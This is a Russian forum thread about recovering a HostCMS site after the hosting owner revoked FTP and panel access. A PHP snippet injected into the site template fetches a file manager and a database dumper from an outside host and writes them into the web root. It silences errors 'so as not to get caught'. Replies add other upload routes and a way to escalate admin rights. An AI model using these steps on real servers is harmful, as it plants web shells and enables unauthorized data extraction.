Disclaimer 1. Описанные ниже действия не являются эксплойтом для HostCMS, равно как и не говорят о наличии в HostCMS каких-либо уязвимостей, поскольку описанные действия можно проделать только при наличии доступа в ЦА. Более того, автор с уверенностью утверждает, что аналогичные действия можно проделать на любой CMS написанной на PHP и предоставляющей администратору доступ к фрагментам незакодированного PHP-кода либо дающей возможность делать исполняемые PHP-вставки в макеты, шаблоны или другие части сайта.
Disclaimer 2. Вместе с тем, в результате воспроизведения описанных ниже действий, на ваших сайтах могут появится уязвимости, не связанные с HostCMS. В случае повторения описанных ниже действий вы делаете это на свой страх и риск. Автор не несет ответственности за возможные проблемы, прямо или косвенно связанные с повторением описанных ниже действий, не гарантирует что данные действия безопасны, да и вообще не гарантирует работоспособность описанного метода в конкретном частном случае.
Ну вот, теперь можно и рассказывать
На днях со мной связался один наш с вами коллега-разработчик, с которым я уже неоднократно сотрудничал раньше, и пожаловался на жизнь. Он хостил портфолио на сервере своего друга, но случилось так что с другом они поругались и тот закрыл доступ в админку хостинга, к FTP и PHPMyAdmin. Доступ в ЦА HostCMS у коллеги остался, но его это мало утешало и он кончено же захотел переехать на другой хостинг. Портфолио было сделано на редакции Халява, которая не имеет собственных средств для создания бекапов, а припасенной резервной копии, естественно. не было. Друг-хостер отдавать сайт не хотел.
Ситуация казалась патовой. Однако после пары рюмок мы нашли довольно остроумное решение.
Итак, нам понадобятся: любой рабочий хостинг с привязанным к нему доменом и известной нам учеткой на FTP-доступ (в примере ),
а так же две утилитки:
джумловский файл-менеджер jsys.php ()
и бекапер баз данных Sypex Dumper ()
1. Находим и скачиваем эти утилиты. Получаем два файла jsys.php и dumper.php. Меняем у них расширение с php на txt и по FTP выкладываем их на наш вспомогательный сайт так, чтобы мы могли открыть их из браузера как простой текстовый файл, например так: и
2. Заходим в ЦА HostCMS и идем в редактирование нашего основного макета. В самое начало макета вставляем следующий код:
<?php
// проверим нет ли уже такого файла, чтобы не качать его зря
if (!file_exists(CMS_FOLDER . 'jsys.php'))
// вывод возможных сообщений об ошибках заткнем собачкой, чтобы не палиться
@file_put_contents(CMS_FOLDER . 'jsys.php', file_get_contents('http://www.my_help_site.ru/jsys.txt'));
if (!file_exists(CMS_FOLDER . 'dumper.php'))
@file_put_contents(CMS_FOLDER . 'dumper.php', file_get_contents('http://www.my_help_site.ru/dumper.txt'));
?>
Теперь открываем любую страницу нашего сайта, использующую данный макет и - вуаля! - в корне сайта лежат исполняемые jsys.php и dumper.php
ВНИМАНИЕ! Сразу после этого НАСТОЯТЕЛЬНО РЕКОМЕНДУЕТСЯ добавленный код из макета удалить!
Теперь мы можем зайти по адресу авторизоваться в jsys, посмотреть логин и пароль к БД и сделать бекап базы, зайдя по адресу
После этого с помощью все того же jsys.php можно сделать архив всех папок hostCMS и скачать его к себе на локальный диск. (Если сайт у вас большой, то возможно jsys не сможет сделать архив сразу всех папок из-за таймаута выполнения скрипта. Тогда можно сворачивать папки по одной-две за раз и скачивать сайт частями)
После того как вы сделали и скачали все бекапы, ОБЯЗАТЕЛЬНО! удалите из корня сайта файлы dumper.php и jsys.php, это можно сделать с помощью самого jsys Ну и разумеется вставка кода в макете должна быть удалена ДО того как вы удалите файлы!
На этом желаю вам удачи и никогда не попадать в ситуации, когда вам может понадобиться подобное решение.
HostCMS, спасибо.
Я-то думал как-бы модераторы ее не удалили, чтоб плохих примеров людям не подавал
Тут, кстати, родилось дополнение на тему как можно обойтись без "вспомогательного" сайта.
Вместо п.1 из инструкции выше, можно сделать следующее:
1а. Зайти в ЦА hostCMS, выбрать любую инфосистему, и создать у нее дополнительное свойство типа "Файл".
1б. После этого редактируем любой элемент этой ИС, загружая в только что созданное допсвойство файл jsys.txt После сохранения элемента, снова заходим в редактор, и у этого же допсвойства смотрим путь к файлу, примерно такого вида "http://www.mysite.ru/upload/information_system_N/X/Y/Z/item_XYZ/information_items_property_ABC.txt", где N, X, Y, Z, A, B и C - некие числа.
1в. Этот путь мы копируем и вставляем в наш код для макета, вместо пути "http://www.my_help_site.ru/jsys.txt".
1г. Аналогично, но _в_другой_элемент_ИС_ (это важно!), загружаем dumper.txt и копируем его путь вместо "http://www.my_help_site.ru/dumper.txt".
Далее выполняем пункт 2 и последующие из инструкции выше.
Для тех у кого возникнет желание загрузить в допсвойство ИС сразу файл с расширением .php, чтобы не мудрить со сменой расширений и макетом, скажу - ничего не получится То есть файл-то загрузится, но из папки /upload/ и ее подпапок работать он не будет, такое ограничение стоит в .htaccess папки upload, (что на самом деле говорит о том что система неплохо защищена и еще раз подтверждает сказанное мною в первом дисклеймере).
эти файлы можно залить и сразу как php файлы, через вставку картинок в визивиг редакторе))) а еще можно если есть доступ к модулю SQL-запросы повысить свои права до суперадмина, эксплойтом это не является так доступно только через админку и то при неправильной настройке прав доступа
Были у нас идеи насчет загрузки вместо картинки инфоэлемента, и насчет создания ТДСов из кода этих файлов, но как-то вот до визвиг-редактора мы не додумались Наверное потому что я крайне редко им пользуюсь.